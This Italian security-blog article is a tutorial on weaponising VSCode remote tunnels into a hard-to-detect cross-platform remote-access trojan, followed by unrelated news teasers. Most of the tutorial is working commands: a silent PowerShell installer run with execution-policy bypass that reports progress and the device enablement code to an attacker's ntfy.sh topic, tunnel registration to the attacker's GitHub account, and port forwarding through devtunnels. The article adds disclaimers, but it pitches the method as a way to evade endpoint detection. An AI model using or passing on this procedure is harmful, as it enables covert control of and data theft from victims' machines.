Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità
Weaponizing VSCode: Il Tuo Compagno ideale per Creare RAT Multipiattaforma

Weaponizing VSCode: Il Tuo Compagno ideale per Creare RAT Multipiattaforma

8 Settembre 2023 07:37

A cura di Roberto Bindi

Un “FUD RAT” è un tipo di malware che è stato progettato per essere completamente indetectable da strumenti di sicurezza e antivirus e che fornisce funzionalità di controllo remoto su un dispositivo o un computer di destinazione. Il nome del malware è una combinazione dei seguenti due termini:

  1. FUD (Fully Undetectable): Questo acronimo indica che un software o un malware è completamente indetectable o “totalmente indistinguibile” dagli strumenti di sicurezza, come gli antivirus. In altre parole, un FUD malware è progettato per evitare la rilevazione e il riconoscimento da parte di software antivirus e altre soluzioni di sicurezza informatica.
  2. RAT (Remote Access Trojan): Un RAT è un tipo di malware progettato per consentire a un attaccante di accedere e controllare un computer o un dispositivo remoto senza il consenso o la conoscenza dell’utente. I RAT vengono spesso utilizzati per scopi malevoli, come il furto di dati, il monitoraggio delle attività dell’utente, l’esecuzione di comandi arbitrari e altro ancora.

Gli attaccanti spesso utilizzano FUD RAT per scopi malevoli, come il controllo di computer o dispositivi di vittime senza il loro consenso. È importante notare che l’uso di tali strumenti è illegale e viola la privacy e la sicurezza degli utenti.

In questo tutorial spiegheremo come utilizzare VSCode riportandoci agli albori di questi malware.

Nota1: questa funzionalità può essere utilizzata in modo dannoso, pertanto il tutorial riveste il solo scopo divulgativo e per consentire alle aziende di prendere le dovute accortezze per scongiurare tale minaccia;
Nota2: deve essere testato solo in sistemi di proprietà o macchine client
.

Weaponizing VSCode

Sei stanco di dover passare ore a sviluppare FUD RAT, solo per Sentinel One che lo segnala come positivo dopo un paio d’ore? Ti piacciono le GUI fantasiose e vuoi tornare ai primi anni ’90, quando i RAT avevano effettivamente GUI decenti?

Non temere! VSCode è qui per te!

Tutti conoscono VSCode e tutti ne hanno una sensazione molto positiva o molto negativa, ma oggi parleremo di come trasformarlo in un FUD e un RAT multipiattaforma davvero potente, completo di file manager con upload/download di file, shell, port forwarding e molto altro!

La cosa più ovvia e singolare di tutto questo è che, se fatto correttamente, gli unici IP mostrati nel Firewall della vittima sono di proprietà di Micro$oft.

Passaggio 0: di cosa abbiamo bisogno?

  • Tu e il computer di destinazione dovete avere accesso a Internet
  • Un account Github vuoto/non importante (la vittima potrebbe essere in grado di accedervi)

Passaggio 1: la distribuzione

Esistono diversi modi per implementarlo in un target, esamineremo principalmente l’implementazione di Windows ma vorrei sottolineare che tutte le tecniche descritte funzionano su Windows, Linux e OSx.

Vedremo due tecniche di distribuzione qui:

  • Un metodo canonico tramite le funzionalità di Windows;
  • un metodo più stealth tramite scripting.

Passaggio 1.A: distribuzione integrata

Installare vscode è semplice (come utente normale, non sono richiesti diritti di amministratore), basta eseguire:

winget install Microsoft.VisualStudioCode --accept-package-agreements --accept-source-agreements --silent --source winget

In questo modo, winget installerà automaticamente VSCode sotto: %localappdata%\Programs\Microsoft VS Code

Avvertenze: Installando l’app in questo modo, vscode apparirà nelle applicazioni installate come qualsiasi altra applicazione.

Passaggio 1.B: Scripting

Se non abbiamo accesso a Winget possiamo sempre scegliere di scaricarlo utilizzando PowerShell (di nuovo, non sono richiesti diritti di amministratore):

# powershell.exe -noprofile -executionpolicy bypass -file .\test.ps1
$bkname = "yourmagicalname"
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
 
function Ntfy {
    param (
        $message
    )
     
    $Request = @{
      Method = "POST"
      URI = "https://ntfy.sh/${bkname}"
      Body = $message
    }
    Invoke-RestMethod @Request | Out-Null
}
 
NTFY "Downloading vs.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive" -OutFile "vs.zip"
NTFY "Downloading vc.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" -OutFile "vc.zip"
NTFY "Extracting vs.."
Remove-Item -Recurse -Force vs | Out-Null
Expand-Archive vs.zip -DestinationPath vs
NTFY "Extracting vc.."
Remove-Item -Recurse -Force vc | Out-Null
Expand-Archive vc.zip -DestinationPath vc
NTFY "Cleaning up.."
Remove-Item vs.zip
Remove-Item vc.zip
NTFY "Registering vs.."
.\vc\code.exe version use stable --install-dir ".\vs\" | Foreach-Object { NTFY "STDOUT> $_" }

Nel codice sopra possiamo notare che ntfy.sh viene utilizzato per tenerci aggiornati sull’avanzamento dell’installazione:

Questo sarà utile in seguito anche per recuperare il codice di abilitazione.

Passaggio 2: registrazione del client

Successivamente, dobbiamo collegare il nuovo dispositivo al nostro Github, in questo modo:

cd ${YOUR_VISUAL_STUDIO_CODE_CLI_PATH}
$bkname = "yourmagicalname"
code tunnel rename "${bkname}"

L’ultimo comando stamperà un codice dispositivo

Nota: se installato tramite Winget ( Passaggio 1.A ), il percorso della CLI è:

%localappdata%\Programs\Microsoft VS Code\bin\

Se installato manualmente ( Passaggio 1.B ), il percorso cli è.\vc\

Ora apri il browser e visita https://github.com/login/device, effettua il login (se necessario) e inserisci il codice del dispositivo recuperato sopra:

Ancora una volta, ricorda che stai condividendo MOLTE INFORMAZIONI:

Quindi assicurati di aver scelto l’account Github corretto e premi “Autorizza Visual-Studio Code”.

La console confermerà l’operazione e rilascerà il terminale.

Passaggio 3: avvio del tunnel

Avviare il tunnel è facile come eseguire:

.\code tunnel --accept-server-license-terms

Ora saremo in grado di raggiungere il sistema visitando https://vscode.dev/tunnel/yourmagicalname o collegandolo utilizzando l’estensione Remote Tunnel in vscode(è anche contenuta nel gruppo di estensioni Remote Development)

Al primo accesso la macchina scaricherà il server vscode appropriato e lo avvierà automaticamente. Dopo pochi secondi verremo accolti con un ambiente VSCode completamente funzionante tramite interfaccia web:

O client locale:

Passaggio 4: Port Forwarding

È possibile anche un port forwarding semplificato interagendo con la scheda “PORTS”:

Ma se abbiamo bisogno di qualcosa di più del semplice accesso ai servizi HTTP/HTTPS da remoto, possiamo utilizzare un altro strumento di madre Micro$oft:

Devtunnels (qui https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/get-started?tabs=windows )

Devtunnels è stato creato appositamente per interagire con i tunnel ed esporrà tutte le client ports localmente. Primo passo: accedi a github

devtunnel user login -g

Ora possiamo elencare i tunnel attivi:

devtunnel list

E finalmente possiamo inoltrare tutte le porte remote eseguendo:

devtunnel connect ${YOUR_TUNNEL_ID}

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Agostino Pellegrino 300x300
E’ un libero professionista, insegnante e perito di informatica Forense, Cyber Security ed Ethical Hacking e Network Management. Ha collaborato con importanti istituti di formazione a livello internazionale e ha esercitato teaching e tutorship in tecniche avanzate di Offensive Security per la NATO ottenendo importanti riconoscimenti dal Governo degli Stati Uniti. Il suo motto è “Studio. Sempre”.
Aree di competenza: Cybersecurity architecture, Threat intelligence, Digital forensics, Offensive security, Incident response & SOAR, Malware analysis, Compliance & frameworks

Articoli in evidenza

Immagine del sitoCyber News
L’Italia sotto Attacco Hacker! Dopo la Sapienza e gli Uffizi, NoName057(16) colpisce ancora
Redazione RHC - 04/02/2026

L’Italia è finita ancora una volta nel mirino del collettivo hacktivista filorusso NoName057(16). Dopo i pesanti disservizi che hanno colpito l‘Università La Sapienza e le Gallerie degli Uffizi all’inizio di questa settimana. L’offensiva digitale russa…

Immagine del sitoCyber News
Attacco hacker alla Sapienza: chi sono gli hacker di Bablock/Rorschach
Redazione RHC - 04/02/2026

Secondo quanto riportato dal Corriere della Sera, l’attacco informatico che ha paralizzato i sistemi dell’Università La Sapienza non sarebbe motivato da fini politici. Gli hacker avrebbero inviato messaggi di rivendicazione spiegando di non agire per…

Immagine del sitoCybercrime
Supply Chain Attack: come è stato compromesso Notepad++ tramite il CVE-2025-15556
Manuel Roccon - 04/02/2026

Nella cyber security, spesso ci si concentra sulla ricerca di complessi bug nel codice sorgente, ignorando che la fiducia dell’utente finale passa per un elemento molto più semplice: un link di download. L’incidente che ha…

Immagine del sitoCyber News
Attacco Hacker All’università La Sapienza. Quello che sappiamo ad oggi
Redazione RHC - 04/02/2026

Nella giornata di lunedì mattina, un grave incidente informatico ha colpito l’Università La Sapienza di Roma, mettendo fuori uso una parte rilevante dell’infrastruttura digitale dell’ateneo. L’attacco ha avuto effetti immediati sulla didattica e sui servizi…

Immagine del sitoInnovazione
Il “Reddit per AI” progetta la fine dell’umanità e crea una Religione. Ecco la verità su Moltbook
Carolina Vivianti - 03/02/2026

L’evoluzione delle piattaforme digitali ha raggiunto un punto di rottura dove la presenza umana non è più richiesta per alimentare il dibattito. Moltbook emerge come un esperimento sociale senza precedenti, un ecosistema dove milioni di…